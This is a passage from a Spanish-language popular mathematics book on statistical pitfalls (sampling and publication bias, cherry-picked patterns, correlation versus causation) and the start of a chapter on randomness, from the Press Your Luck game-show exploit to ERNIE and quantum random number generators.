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los	 falsos	 positivos:	 los	 datos	 que	 parecían	 ser	 los	 datos	 deseados	 pero	 que
realmente	eran	otra	cosa.	En	este	caso,	los	bordillos	y	otras	protuberancias	por
las	 que	 pasaba	 el	 coche	 eran	 baches	 para	 la	 aplicación;	 incluso	 los
conductores	que	movían	el	teléfono	en	el	interior	del	coche	podían	hacer	que
el	 programa	 lo	 registrara	 como	 bache.	 Por	 lo	 que	 para	 la	 versión	 dos	 se
abrieron	 las	 puertas	 a	 la	 sabiduría	 de	 la	 gente.	Cualquiera	 podía	 sugerir	 los
cambios	 que	 había	 que	 hacer	 en	 el	 código	 de	 la	 aplicación	 y	 los	 mejores
compartirían	un	premio	de	25.000	dólares.	La	versión	final,	Street	Bump	2.0,
tuvo	 contribuciones	 de	 ingenieros	 informáticos	 anónimos,	 un	 equipo	 de
hackers	de	Massachusetts	y	un	director	de	un	departamento	de	matemáticas
de	una	universidad.

La	nueva	versión	era	mucho	mejor	a	 la	hora	de	detectar	qué	 saltos	eran
provocados	 por	 baches.	 Pero	 había	 un	 sesgo	 de	 muestreo	 porque	 solo
informaba	 de	 los	 baches	 por	 los	 que	 había	 pasado	 alguien	 con	 un	 teléfono
inteligente	 y	 además	 estuviera	 ejecutando	 la	 aplicación,	 lo	 que	 favorecía
enormemente	 a	 las	 zonas	 prósperas	 con	 una	 población	 joven.	 El	 método
utilizado	para	recoger	los	datos	tenía	mucha	influencia.	Es	como	realizar	una
encuesta	 sobre	 qué	 piensa	 la	 gente	 sobre	 la	 tecnología	 moderna	 pero	 solo
aceptar	que	manden	los	formularios	por	fax.

Y,	 por	 supuesto,	 también	 existen	 los	 sesgos	 en	 términos	 de	 qué	 datos
decide	la	gente	confesar.	Cuando	una	empresa	realiza	un	ensayo	clínico	con
algún	nuevo	fármaco	o	intervención	médica	en	la	que	han	estado	trabajando,
pretende	 demostrar	 que	 funciona	 mejor	 que	 si	 no	 se	 hiciera	 intervención
alguna	o	se	optara	por	alguna	otra	opción	posible.	Al	final	de	un	ensayo	largo
y	caro,	si	 los	 resultados	demuestran	que	un	fármaco	no	es	beneficioso	(o	es
negativo),	la	empresa	tiene	muy	poca	motivación	para	publicar	los	datos.	Es
una	 especie	 de	 «sesgo	 de	 publicación».	 Se	 calcula	 que	 la	 mitad	 de	 los
resultados	 de	 los	 ensayos	 de	 fármacos	 nunca	 se	 ha	 publicado.	Un	 resultado
negativo	 de	 un	 ensayo	 clínico	 tiene	 el	 doble	 de	 probabilidades	 de	 no	 ser
publicado	que	uno	positivo.

Ocultar	 los	 datos	 de	 un	 ensayo	 con	 fármacos	 puede	 poner	 en	 peligro	 la
vida	 de	 las	 personas,	 posiblemente	 más	 que	 cualquier	 otro	 error	 que	 he
mencionado	 en	 este	 libro.	 Los	 desastres	 relacionados	 con	 la	 ingeniería	 y	 la
aviación	pueden	provocar	cientos	de	muertes.	Los	fármacos	pueden	tener	un
impacto	mucho	mayor.	En	1980	se	finalizó	un	ensayo	en	el	que	se	probaba	un
fármaco	 antiarrítmico	 llamado	 Lorcainide:	 aunque	 la	 frecuencia	 de	 las
arritmias	graves	disminuyó	en	 los	pacientes	que	 tomaron	el	 fármaco,	de	 los
cuarenta	 y	 ocho	 pacientes	 a	 los	 que	 se	 les	 administró,	 nueve	 murieron,

Página	222



mientras	 que	 solo	 uno	 de	 los	 cuarenta	 y	 siete	 pacientes	 a	 los	 que	 se	 les
administró	un	placebo	murió.

Aun	 así,	 los	 investigadores	 intentaron	 por	 todos	 los	medios	 que	 alguien
publicara	 su	 trabajo[25].	 Las	 muertes	 no	 estaban	 dentro	 del	 ámbito	 de	 su
investigación	 (la	 cual	 se	 centraba	 únicamente	 en	 la	 frecuencia	 de	 las
arritmias)	y,	dado	que	su	muestra	de	pacientes	era	muy	pequeña,	las	muertes
podrían	 haber	 sido	 pura	 casualidad.	 Durante	 la	 década	 siguiente,	 estudios
posteriores	 pusieron	 de	 manifiesto	 el	 riesgo	 asociado	 con	 este	 tipo	 de
fármacos,	una	conclusión	a	la	que	se	habría	podido	llegar	antes	con	sus	datos.
Si	los	datos	de	la	Lorcainide	se	hubieran	difundido	antes,	se	calcula	que	unas
diez	mil	personas	podrían	haberse	salvado.

Ben	Goldacre,	médico	 y	 empollón	 activista,	 cuenta	 la	 historia	 de	 cómo
recetó	el	fármaco	antidepresivo	Reboxetine	a	un	paciente	basándose	en	datos
procedentes	de	un	ensayo	que	había	demostrado	que	era	más	efectivo	que	un
placebo.	Tenía	ante	sí	el	resultado	claramente	positivo	obtenido	en	un	estudio
en	el	que	participaron	254	pacientes,	 lo	cual	era	suficiente	para	convencerle
de	 que	 recetara	 el	 fármaco.	 Pasado	 un	 tiempo,	 en	 2010,	 se	 reveló	 que	 se
habían	 realizado	 otros	 seis	 ensayos	 para	 probar	 Reboxetine	 (en	 los	 que
participaron	unos	2.500	pacientes)	y	todos	ellos	demostraron	que	no	era	mejor
que	 un	 simple	 placebo.	 Esos	 seis	 estudios	 no	 se	 habían	 publicado.	 Desde
entonces,	Goldacre	puso	en	marcha	la	campaña	AllTrials	con	la	que	pedía	que
todos	 los	 datos	 relacionados	 con	 los	 ensayos	 farmacológicos,	 futuros	 y
pasados,	 fueran	 difundidos.	 Échele	 un	 vistazo	 a	 su	 libro	Mala	 farma	 para
profundizar	en	el	tema.

Por	regla	general,	es	increíble	lo	que	puedes	demostrar	si	estás	dispuesto	a
ignorar	 los	 datos	 suficientes.	 El	 Reino	 Unido	 ha	 sido	 habitado	 por	 los
humanos	desde	hace	miles	de	años,	y	eso	ha	dejado	su	huella	en	el	paisaje:
hay	antiguos	yacimientos	megalíticos	por	 todas	partes.	En	2010	aparecieron
artículos	en	 la	prensa	en	 los	que	se	decía	que	alguien	había	analizado	1.500
antiguos	 yacimientos	megalíticos	 y	 había	 encontrado	 un	 patrón	matemático
que	 los	 unía	 mediante	 triángulos	 isósceles	 como	 una	 especie	 de	 «GPS
prehistórico».	 El	 autor	 de	 esta	 investigación	 fue	 Tom	Brooks	 y,	 al	 parecer,
eran	demasiado	precisos	para	que	se	hubieran	creado	al	azar.

Los	 lados	 de	 algunos	 de	 los	 triángulos	 tienen	más	 de	 100	millas	 de	 largo	 y	 aun	 así	 las
distancias	 son	 exactas	 con	 un	 margen	 de	 100	 metros.	 No	 puedes	 conseguir	 algo	 así	 por
casualidad.

Tom	Brooks,	2009	y,	de	nuevo,	en	2011
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Brooks	ha	repetido	la	explicación	de	sus	hallazgos	siempre	que	ha	tenido
un	 libro	 que	 vender	 y	 parece	 que	 ha	 sacado	 comunicados	 de	 prensa	 casi
idénticos	al	menos	en	2009	y	2011.	El	reportaje	que	leí	es	de	enero	de	2010	y
decidí	 poner	 a	 prueba	 sus	 afirmaciones.	Quise	 aplicar	 el	mismo	proceso	 de
búsqueda	 de	 triángulos	 isósceles,	 pero	 en	 datos	 de	 localización	 que	 no
mostraran	 ningún	 patrón	 significativo.	 Unos	 años	 antes,	 Woolworths,	 una
importante	cadena	de	almacenes	de	ropa	de	Gran	Bretaña,	había	quebrado	y
sus	escaparates	abandonados	seguían	estando	en	calles	 importantes	por	 todo
el	 país.	 Por	 lo	 que	 me	 descargué	 las	 coordenadas	 GPS	 de	 ochocientos
antiguos	establecimientos	Woolworths	y	me	puse	a	trabajar.

Encontré	 tres	 almacenes	Woolworths	 en	 los	 alrededores	de	Birmingham
que	 forman	 un	 triángulo	 equilátero	 exacto	 (Wolverhampton,	 Lichfield	 y
Birmingham)	y,	 si	 se	extiende	 la	base	del	 triángulo,	hay	una	 línea	de	279,7
kilómetros	que	une	los	almacenes	de	Conwy	y	Luton.	A	pesar	de	esos	279,7
kilómetros,	el	almacén	de	Woolworths	en	Conwy	estaba	solo	12	metros	fuera
de	 la	 línea	 exacta	 y	 el	 de	 Luton	 a	 9	metros.	 En	 cada	 lado	 del	 triángulo	 de
Birmingham	 encontré	 pares	 de	 triángulos	 isósceles	 dentro	 de	 la	 precisión
requerida.	 Eran	 las	 localizaciones	 de	 algunos	 lugares	 espeluznantes	 e
inquietantes.	Lo	que	hace	que	el	Triángulo	de	Birmingham	sea	una	especie	de
Triángulo	 de	 las	 Bermudas,	 solo	 que	 con	 un	 tiempo	meteorológico	 mucho
peor.

Dado	que	parece	ser	la	práctica	habitual	en	este	tipo	de	cosas,	difundí	una
nota	de	prensa	resumiendo	mis	hallazgos.	En	ella	afirmaba	que,	al	menos,	esta
información	nos	podía	aportar	cierta	comprensión	sobre	cómo	vivía	la	gente
en	2008.	Y,	al	igual	que	Brooks,	dije	que	estos	patrones	eran	tan	precisos	que
no	podría	descartar	la	ayuda	extraterrestre.	El	Guardian	cubrió	la	noticia	con
el	 titular	 «¿Ayudaron	 los	 extraterrestres	 a	 alinear	 los	 almacenes
Woolworths?»[26].
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Mis	posicionamientos	Woolworths.	Desde	entonces,	tanto	los	almacenes	Woolworths	como	mi	pelo	son
mucho	más	escasos.

Para	 encontrar	 estos	 posicionamientos	 simplemente	 tuve	 que	 ignorar	 la
mayoría	de	las	localizaciones	de	almacenes	Woolworths	y	elegir	unos	cuantos
que	 casualmente	 estaban	 alineados.	 Con	 unas	 ochocientas	 localizaciones
podía	crear	más	de	85	millones	de	triángulos.	Por	lo	tanto,	no	me	sorprendió
que	 algunos	 de	 ellos	 fueran	 casi	 isósceles	 perfectos.	 Si	 ninguno	 de	 ellos	 lo
hubiera	sido,	entonces	sí	que	empezaría	a	creer	en	extraterrestres.	Los	1.500
yacimientos	 prehistóricos	 que	 Brooks	 utilizó	 le	 posibilitaron	 la	 creación	 de
561	 millones	 de	 triángulos	 entre	 los	 que	 elegir.	 Sospecho	 que	 él	 cree
firmemente	 que	 los	 antiguos	 bretones	 colocaron	 sus	 asentamientos	 en	 estas
localizaciones:	simplemente	había	sido	víctima	del	sesgo	de	confirmación.	Se
centró	en	los	datos	que	cumplían	con	sus	expectativas	e	ignoró	el	resto.

Brooks	 volvió	 a	 sacar	 su	 comunicado	 de	 prensa	 sobre	 el	 GPS	 de	 la
antigüedad	una	vez	más	en	2011.	Por	lo	que	yo	volví	a	sacar	el	mío,	esta	vez
con	la	ayuda	del	programador	Tom	Scott.	Scott	creó	una	página	web	en	la	que
se	 introducía	 cualquier	 código	 postal	 de	 Gran	 Bretaña	 y	 encontraba	 tres
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posicionamientos	megalíticos	que	pasaban	por	ese	punto;	uno	de	los	tres	tenía
que	ser	Stonehenge.	Por	cada	dirección	del	Reino	Unido	pasaban	tres	 líneas
magnéticas	 como	 esas.	 Es	 una	 certeza	 matemática	 que	 se	 puede	 encontrar
cualquier	 patrón	 que	 uno	 desee,	mientras	 estés	 dispuesto	 a	 ignorar	 aquellos
datos	que	no	encajan.	No	he	leído	nada	más	sobre	Brooks	desde	entonces	y,
como	compañero	triangulófilo,	espero	que	le	vaya	bien.

Causalidad,	correlación	y	repetidores	de	telefonía	móvil

En	2010,	un	matemático	descubrió	que	existía	una	correlación	directa	entre	el
número	de	repetidores	de	telefonía	móvil	y	el	número	de	nacimientos	en	las
zonas	 del	 Reino	 Unido	 en	 las	 que	 se	 habían	 instalado.	 Por	 cada	 repetidor
adicional	en	cada	zona,	nacían	17,6	bebés	más	en	comparación	con	la	media
nacional.	Era	una	relación	directa	increíblemente	sólida	y	habría	garantizado
una	investigación	futura,	si	hubiera	existido	algún	vínculo	causal.	Pero	no	lo
había.	El	descubrimiento	no	tenía	sentido	alguno.	Y	puedo	decirlo	porque	yo
era	ese	matemático.

Era	un	proyecto	que	estaba	haciendo	con	el	programa	de	matemáticas	de
la	cadena	Radio	4	de	la	BBC	titulado	More	or	Less,	para	ver	cómo	respondían
las	personas	ante	una	correlación	en	la	que	no	había	ningún	vínculo	causal.	La
visión	de	 los	repetidores	de	 telefonía	móvil	no	hacía	que	 los	ciudadanos	del
Reino	 Unido	 se	 pusieran	 más	 «románticos».	 Y	 décadas	 de	 estudios	 han
revelado	 que	 los	 repetidores	 de	 telefonía	 móvil	 no	 tienen	 un	 impacto
biológico.	En	este	caso,	ambos	factores	dependían	de	una	tercera	variable:	el
tamaño	de	la	población.	Tanto	el	número	de	repetidores	de	telefonía	móvil	en
una	zona	como	el	número	de	nacimientos	dependen	de	cuánta	gente	vive	allí.

Quisiera	dejarlo	muy	claro:	en	el	artículo	explicaba	que	la	correlación	era
debida	al	tamaño	de	la	población.	Expliqué	con	gran	detalle	que	se	trataba	de
un	 ejercicio	 con	 el	 que	 quería	 demostrar	 que	 una	 correlación	 no	 significa
causalidad.	Pero	 también	acabó	siendo	una	demostración	de	que	la	gente	no
entendió	bien	el	 artículo	antes	de	comentarlo.	La	correlación	era	demasiado
seductora	y	la	gente	no	pudo	evitar	exponer	sus	razones.	Más	de	una	persona
sugirió	 que	 los	 vecindarios	 caros	 tenían	 menos	 repetidores	 y	 las	 familias
jóvenes	 con	 montones	 de	 niños	 no	 se	 podían	 permitir	 vivir	 allí,	 lo	 que
demostraba	una	vez	más	que	no	hay	 tema	que	 los	 lectores	del	Guardian	no
acaben	 achacando	 a	 los	 precios	 de	 las	 casas.	 Y,	 por	 supuesto,	 eso	 atrajo	 a
aquellos	que	pensaban	lo	contrario:

Si	 este	 estudio	 se	 sostiene,	 entonces	 apoya	 la	 evidencia	 científica	 existente	 de	 que	 la
radiación	 de	 bajo	 nivel	 procedente	 de	 los	 repetidores	 de	 telefonía	 móvil	 tiene	 efectos
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biológicos.
Alguien	que	no	leyó	más	allá	del	titular

Una	 correlación	 nunca	 es	 suficiente	 para	 defender	 que	 una	 cosa	 causa
otra.	 Siempre	 existe	 la	 posibilidad	 de	 que	 otra	 cosa	 esté	 influyendo	 en	 los
datos,	creando	el	vínculo.	Entre	1993	y	2008,	 la	policía	de	Alemania	estuvo
buscando	 al	misterioso	 «fantasma	de	Heilbronn»,	 una	mujer	 que	 había	 sido
relacionada	 con	 cuarenta	 crímenes,	 incluyendo	 seis	 asesinatos;	 su	 ADN	 se
había	 encontrado	 en	 todos	 los	 escenarios	 de	 los	 crímenes.	 Los	 policías
invirtieron	decenas	de	miles	de	horas	de	servicio	buscando	a	 la	«mujer	más
peligrosa»	de	Alemania	y	se	ofreció	una	recompensa	de	300.000	euros	por	su
cabeza.	Resultó	que	se	 trataba	de	una	mujer	que	 trabajaba	en	 la	 fábrica	que
producía	 los	 bastoncillos	 de	 algodón	 utilizados	 para	 recoger	 las	 pruebas	 de
ADN.

Y,	 por	 supuesto,	 algunas	 correlaciones	 resultan	 ser	 completamente
aleatorias.	 Si	 se	 comparan	 los	 datos	 suficientes,	más	 tarde	 o	más	 temprano
habrá	 dos	 que	 se	 correlacionarán	 casi	 a	 la	 perfección	 de	 forma	 accidental.
Incluso	existe	una	página	web	dedicada	a	las	correlaciones	espurias	que	busca
entre	los	datos	disponibles	públicamente	y	encuentra	correlaciones	por	usted.
Hice	una	búsqueda	rápida	con	el	número	de	personas	de	Estados	Unidos	que
se	doctoraron	en	matemáticas.	Entre	1999	y	2009,	el	número	de	doctorados	en
matemáticas	 tuvo	una	correlación	del	87%	con	el	«número	de	personas	que
tropezaron	 con	 sus	 propios	 pies	 y	 murieron».	 (Datos	 proporcionados	 sin
comentarios	añadidos.)

Como	herramienta	matemática,	la	correlación	es	una	técnica	muy	potente.
Puede	 coger	 una	 serie	 de	 datos	 y	 darnos	 una	 buena	medida	 de	 la	 cercanía
entre	 los	 cambios	 lineales	 de	 dos	 variables.	 Pero	 se	 trata	 tan	 solo	 de	 una
herramienta,	no	de	una	respuesta.	Una	gran	parte	de	las	matemáticas	tiene	que
ver	con	hallar	una	respuesta,	pero,	en	estadística,	los	números	que	surgen	de
los	cálculos	nunca	cuentan	la	historia	completa.	Todos	los	datos	de	los	Doce
del	Datasaurio	tienen	los	mismos	valores	de	correlación,	pero	en	los	gráficos
se	 ve	 claramente	 que	 las	 relaciones	 son	 diferentes.	 Los	 números	 que	 se
obtienen	gracias	a	 la	estadística	son	el	 inicio	del	proceso	de	descubrimiento
de	la	respuesta,	no	el	final.	Hace	falta	un	poco	de	sentido	común	y	de	análisis
inteligente	para	llegar	a	la	respuesta	correcta	a	partir	de	las	estadísticas.
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Que	conste	que,	en	Estados	Unidos,	el	número	de	personas	que	obtienen	un	doctorado	en	matemáticas
también	tiene	más	de	un	90%	de	correlación	durante	diez	o	más	años	con:	el	uranio	almacenado	en	las
plantas	nucleares,	el	dinero	gastado	en	mascotas,	los	ingresos	totales	generados	por	las	estaciones	de

esquí	y	el	consumo	de	queso	por	persona.

Si	no,	cuando	escuche	una	estadística	como	la	que	muestra	que	la	tasa	de
casos	 de	 cáncer	 ha	 estado	 aumentando	 constantemente,	 le	 pueden	 hacer
suponer	 que	 las	 personas	 tienen	 actualmente	 vidas	 menos	 saludables.	 Lo
opuesto	 es	 cierto:	 la	 longevidad	está	 aumentando,	 lo	que	 significa	que	 cada
vez	hay	más	personas	que	viven	lo	suficiente	para	contraer	un	cáncer.	Para	la
mayoría	 de	 cánceres,	 la	 edad	 es	 el	 mayor	 factor	 de	 riesgo	 y,	 en	 el	 Reino
Unido,	 el	 60%	 de	 todos	 los	 casos	 de	 cáncer	 diagnosticados	 han	 sido	 en
personas	de	sesenta	y	cinco	o	más	años.	Lo	que	me	hace	afirmar,	aunque	me
duela,	que,	en	cuanto	a	las	estadísticas,	los	números	no	lo	son	todo.
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Doce

TMTNLTTEOEA	AORTAIOEL
En	1984,	el	conductor	de	furgonetas	de	helados	Michael	Larson	acudió	a	un
concurso	de	la	televisión	estadounidense,	Press	Your	Luck	y	ganó	un	premio
sin	 precedentes:	 110.237	 dólares:	 unas	 ocho	 veces	 la	media	 de	 los	 premios
que	 se	 llevaba	 el	 ganador.	 Tuvo	 una	 racha	 ganadora	 de	 tal	 calibre	 que	 el
concurso,	 que	 habitualmente	 rotaba	 rápido	 de	 concursante,	 tuvo	 que	 ocupar
dos	programas	con	su	participación.

En	Press	Your	Luck,	los	premios	se	repartían	a	partir	de	un	panel	(el	Big
Board)	 de	 dieciocho	 cajas	 en	 las	 que	 había	 cantidades	 diferentes	 de	 dinero,
premios	 materiales	 y	 un	 personaje	 animado	 conocido	 como	 Whammy.	 El
sistema	 iba	pasando	rápidamente	de	una	casilla	a	otra,	 supuestamente	en	un
orden	aleatorio,	y	el	concursante	ganaba	lo	que	contenía	la	casilla	en	la	que	se
paraba	el	sistema	cuando	apretaba	el	pulsador.	Si	se	detenía	en	un	Whammy,
el	 concursante	 perdía	 todos	 los	 premios	 que	 hubiera	 acumulado	 hasta
entonces.

El	sistema	nunca	se	detenía	el	tiempo	suficiente	en	una	casilla	para	que	el
concursante	 viera	 su	 contenido,	 reaccionara	 y	 apretara	 el	 pulsador.	Y,	 dado
que	 el	 movimiento	 parecía	 impredecible,	 era	 teóricamente	 imposible	 saber
por	 adelantado	 qué	 casilla	 sería	 seleccionada	 a	 continuación,	 por	 lo	 que
elegían	al	azar.	La	mayoría	de	concursantes	ganaban	un	par	de	premios	antes
de	retirarse	en	esa	ronda;	otros	forzaban	su	suerte	y	se	quedaban	sin	nada.	Al
menos,	esa	era	la	teoría.

El	 concurso	 empieza	 con	 normalidad.	 Michael	 responde	 correctamente
suficientes	preguntas	de	cultura	general	para	ganar	algunas	tiradas	en	el	Big
Board,	 y	 en	 su	primer	 intento	 cae	 en	un	Whammy.	Al	 inicio	de	 la	 segunda
ronda	Michael	 empieza	 siendo	el	último,	pero	 sus	 conocimientos	de	 cultura
general	le	permiten	ganar	siete	tiradas	en	el	Big	Board.	Esta	vez	no	cae	en	un
Whammy;	 gana	 1.250	 dólares.	 Luego	 otros	 1.250	 en	 la	 siguiente	 tirada.
Luego	 4.000,	 5.000,	 1.000,	 unas	 vacaciones	 en	 Kauai,	 4.000,	 etc.	 Y	 la
mayoría	 de	 estos	 premios	 también	 vienen	 acompañados	 de	 una	 «tirada
gratis»,	por	lo	que	parece	que	su	reinado	en	el	Big	Board	nunca	va	a	acabar.

Al	principio,	el	presentador	Peter	Tomarken	sigue	con	su	comportamiento
habitual,	esperando	a	que	Michael	caiga	en	un	Whammy.	Pero	no	cae.	En	una

Página	229



auténtica	aberración	probabilística,	va	ganando	premio	tras	premio.	El	vídeo
está	disponible	en	internet	si	busca:	«Press	Your	Luck»	y	«Michael	Larson».
Es	increíble	ver	todo	el	rango	de	emociones	por	las	que	pasa	el	presentador.
Al	 principio,	 está	 entusiasmado	 al	 ver	 que	 algo	 tan	 poco	 probable	 está
sucediendo,	 pero	 enseguida	 trata	 de	 averiguar	 qué	 diablos	 está	 ocurriendo
mientras	 intenta	 mantener	 el	 carácter	 jovial	 que	 se	 presupone	 a	 todo
presentador	de	concursos.

Michael	Larson	no	necesitó	la	suerte	para	acertar.

En	 lugar	 de	 ser	 aleatorio	 de	 verdad,	 el	 tablero	 tenía	 solo	 cinco	 ciclos
predeterminados,	 pero,	 al	 ir	 a	 tanta	 velocidad,	 parecían	 aleatorios.	Michael
Larson	 se	 había	 grabado	 el	 concurso	 en	 casa	 y	 había	 estudiado
minuciosamente	las	grabaciones	hasta	que	descifró	esos	patrones	subyacentes.
Luego	 los	memorizó,	 algo	 que,	 irónicamente,	 requería	menos	 esfuerzo	 que
aprenderse	las	respuestas	a	las	preguntas	de	cultura	general	como	hacían	otros
concursantes.	Y	es	cierto	que	no	me	puedo	burlar	de	él	por	memorizar	largas
secuencias	 de	 valores	 supuestamente	 arbitrarios;	 mis	 conocimientos	 de	 los
dígitos	que	forman	el	número	pi	no	me	han	hecho	ganar	110.237	dólares.

Los	 diseñadores	 del	 sistema	 de	 Press	 Your	 Luck	 codificaron	 ciclos	 en
lugar	de	que	 la	secuencia	 fuera	al	azar	porque	esto	último	resulta	difícil.	Es
mucho	más	fácil	utilizar	una	lista	ya	generada	de	localizaciones	que	escoger
al	azar	una	 ruta	sobre	 la	marcha.	No	es	que	para	 los	ordenadores	sea	difícil
hacer	algo	al	azar:	es	prácticamente	imposible.

Aleatoriedad	robótica

Ningún	ordenador	puede	ser	aleatorio	sin	ayuda:	se	construyen	para	que	sigan
unas	instrucciones	al	pie	de	la	letra;	los	procesadores	se	construyen	para	hacer
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siempre	lo	correcto	y	de	forma	predecible.	Hacer	que	un	ordenador	haga	algo
inesperado	es	una	proeza	difícil	de	conseguir.	No	puedes	 tener	una	 línea	de
código	que	sea	«haz	algo	al	azar»	y	obtener	un	número	realmente	aleatorio
sin	que	haya	un	componente	especializado	unido	al	ordenador.

La	 versión	 extrema	 es	 construir	 una	 cinta	 transportadora	motorizada	 de
dos	 metros	 de	 altura	 que	 se	 introduce	 en	 un	 recipiente	 en	 el	 que	 hay
doscientos	 dados	 y	 extrae	 una	 selección	 aleatoria	 de	 ellos	 y	 los	 hace	 pasar
delante	de	una	videocámara	que	luego	puede	utilizar	el	ordenador	para	ver	el
dado	y	detectar	qué	números	son	los	que	han	salido.	Una	máquina	como	esa,
capaz	de	realizar	1.330.000	tiradas	de	dados	al	azar	por	día,	pesaría	unos	50
kilogramos	y	 la	cacofonía	de	sus	motores	y	de	 los	dados	girando	 llenaría	 la
habitación,	y	es	exactamente	lo	que	Scott	Nesin	construyó	para	su	página	web
GamesByEmail.

Scott	tiene	una	página	web	en	la	que	se	puede	participar	en	juegos	a	través
del	correo	electrónico,	lo	que	implica	que	necesita	unas	veinte	mil	tiradas	de
dados	por	día.	Aquellos	que	juegan	a	juegos	de	mesa	se	toman	muy	en	serio
el	 momento	 en	 el	 que	 tiran	 los	 dados,	 por	 lo	 que,	 en	 2009,	 puso	 todo	 su
empeño	 en	 construir	 una	máquina	 capaz	 de	 tirar	 dados	 físicamente.	 Estaba
convencido	 de	 poder	 diseñar	 la	 Dice-O-Matic	 por	 lo	 que,	 previendo	 su
capacidad	futura,	la	construyó	con	capacidad	sobrante,	de	ahí	que	su	máximo
sea	de	1,3	millones	de	tiradas	por	día.	En	la	actualidad,	Scott	tiene	alrededor
de	 un	millón	 de	 tiradas	 no	 utilizadas	 grabadas	 en	 su	 servidor	 y	 la	Dice-O-
Matic	 trabaja	 una	 o	 dos	 horas	 cada	 día	 para	 reponer	 su	 reservorio	 de
aleatoriedad,	 llenando	su	casa	de	Texas	con	el	 sonido	que	produce	 la	 tirada
simultánea	de	cientos	de	dados.

Aunque	tiene	el	encanto	auténtico	de	tirar	dados	reales,	está	claro	que	el
Dice-O-Matic	no	es	el	periférico	informático	más	eficiente	jamás	construido.
Cuando	el	gobierno	del	Reino	Unido	anunció,	en	1956,	su	intención	de	crear
los	 bonos	 prémium,	 de	 repente	 tuvo	 la	 necesidad	 de	 producir	 números
aleatorios	 a	 gran	 escala.	 A	 diferencias	 de	 los	 bonos	 gubernamentales
normales,	que	generan	una	cantidad	fija	de	intereses,	el	«interés»	de	los	bonos
prémium	está	 agrupado	 en	premios	y	 se	distribuye	 a	 los	 propietarios	de	 los
bonos	de	forma	aleatoria.

Y	 esta	 es	 la	 razón	 por	 la	 que,	 en	 1957,	 se	 construyó	 y	 puso	 en	marcha
ERNIE	(Electronic	Random	Number	Indicator	Equipment).	Fue	diseñado	por
Tommy	Flowers	y	Harry	Fensom,	quienes	ahora	sabemos	que	participaron	en
la	construcción	de	los	primeros	ordenadores	para	descifrar	 los	códigos	nazis
durante	 la	 segunda	 guerra	 mundial	 (en	 esa	 época	 todavía	 era	 información
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clasificada).	He	visitado	a	ERNIE,	retirado	del	servicio	hace	mucho	tiempo,
en	el	Museo	de	Ciencias	de	Londres[27].	Algo	más	alto	y	mucho	más	ancho
que	yo	(de	hecho,	me	saca	varios	metros),	es	justo	como	esperarías	que	fuera
un	armario	beis	de	ordenadores	de	la	década	de	1950.	Pero	sabía	que	en	algún
lugar	de	ahí	adentro	estaba	el	corazón	de	aleatoriedad	de	ERNIE:	una	serie	de
tubos	de	neón.

Fotografía	de	ERNIE	junto	a	un	humano	enclenque.

Los	tubos	de	neón	se	suelen	utilizar	para	la	iluminación,	pero	ERNIE	los
utilizaba	 para	 generar	 números	 aleatorios.	 El	 camino	 que	 sigue	 cualquier
electrón	a	lo	largo	del	gas	de	neón	que	está	iluminando	es	caótico,	por	lo	que
la	corriente	resultante	es,	en	gran	parte,	aleatoria.	Encender	un	tubo	de	neón
es	 como	 lanzar	 miles	 de	 millones	 de	 nanodados	 al	 mismo	 tiempo.	 Lo	 que
significa	 que,	 incluso	 si	 los	 electrones	 alimentan	una	 lámpara	de	neón	 a	 un
ritmo	 muy	 constante,	 estarán	 rebotando	 de	 forma	 diferente	 y	 saldrán	 en
momentos	 ligeramente	diferentes.	ERNIE	cogía	 la	corriente	que	salía	de	 las
lámparas	de	neón	y	extraía	el	 ruido	aleatorio	para	utilizarlo	como	base	para
crear	los	números	aleatorios.

Más	 o	 menos	 medio	 siglo	 después,	 los	 bonos	 prémium	 se	 siguen
vendiendo	 en	 el	 Reino	 Unido,	 otorgándose	 los	 premios	 una	 vez	 al	 mes.
ERNIE	ya	está	en	su	cuarta	versión,	ERNIE	4,	y	utiliza	el	ruido	térmico	de	los
transistores	para	generar	los	números	aleatorios:	los	electrones	son	forzados	a
través	de	las	resistencias	y	el	cambio	en	voltaje	y	calor	producido	se	utilizan
como	ruido	aleatorio[28].

Si	 los	 diseñadores	 de	Press	 Yor	 Luck	 hubieran	 querido	 disponer	 de	 un
sistema	 inquebrantable,	 hubieran	necesitado	diseñar	 alguna	clase	de	 sistema
físico	aleatorio	conectado	a	su	Big	Board.	El	tablero	ya	estaba	iluminado	por
un	ostentoso	número	de	luces;	si	algunas	de	ellas	hubieran	sido	lámparas	de
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neón,	 les	 habrían	 servido.	 También	 habría	 servido	 tener	 una	 cinta
transportadora	 de	 dados	 en	 la	 habitación	 contigua	 si	 se	 pudiera	 mover	 lo
suficientemente	 rápido.	 Y	 lo	 último	 en	 imprevisibilidad	 son	 los	 sistemas
cuánticos	de	aleatoriedad.

Parece	 una	 exageración,	 pero	 actualmente	 ya	 podemos	 comprar	 nuestro
propio	sistema	cuántico	de	aleatoriedad	por	unos	mil	euros.	Este	contiene	un
led	 que	 emite	 fotones	 en	 un	 separador	 de	 rayos	 en	 el	 que	 las	 interacciones
cuánticas	 determinan	qué	 camino	 seguirá	 ese	 fotón.	El	 lugar	 donde	 aparece
ese	fotón	determina	el	siguiente	bit	de	un	número	aleatorio.	Lo	conectamos	a
nuestro	 ordenador	 a	 través	 del	 USB	 y	 el	 modelo	 base	 empezará
inmediatamente	a	dar	4	millones	de	unos	y	ceros	aleatorios	cada	segundo.	(Se
puede	conseguir	un	ritmo	mayor	de	aleatoriedad	a	un	precio	mayor.)

Si	no	puede	permitírselo,	la	Universidad	Nacional	Australiana	(ANU	por
sus	 siglas	 en	 inglés)	 le	 echará	 una	mano.	Disponen	 de	 su	 propio	 generador
cuántico	 de	 números	 al	 azar	 escuchando	 el	 sonido	 del	 vacío.	 Incluso	 en	 el
vacío	 de	 la	 nada	 está	 pasando	 algo.	 Gracias	 a	 las	 peculiaridades	 de	 la
mecánica	 cuántica,	 es	 posible	 que	 un	 par	 partícula-antipartícula	 aparezca
espontáneamente	 de,	 literalmente,	 ninguna	 parte	 y	 luego	 aniquilarse	 tan
rápidamente	que	el	universo	ni	se	ha	percatado	de	su	existencia.	Esto	quiere
decir	 que	 el	 espacio	 vacío	 es	 realmente	 una	 espuma	 de	 partículas	 que
aparecen	y	desaparecen	de	la	realidad.

En	el	Departamento	de	Ciencias	Cuánticas	de	la	ANU	tienen	un	detector
que	escucha	un	vacío	y	convierte	esa	espuma	cuántica	en	números	aleatorios
que	luego	retransmite	en	directo	en	https://qrng.anu.edu.au	a	todas	horas.	Para
la	gente	relacionada	con	 la	 tecnología,	 tienen	una	gran	variedad	de	sistemas
seguros	de	distribución	de	los	datos	(¡no	volváis	a	utilizar	la	función	integrada
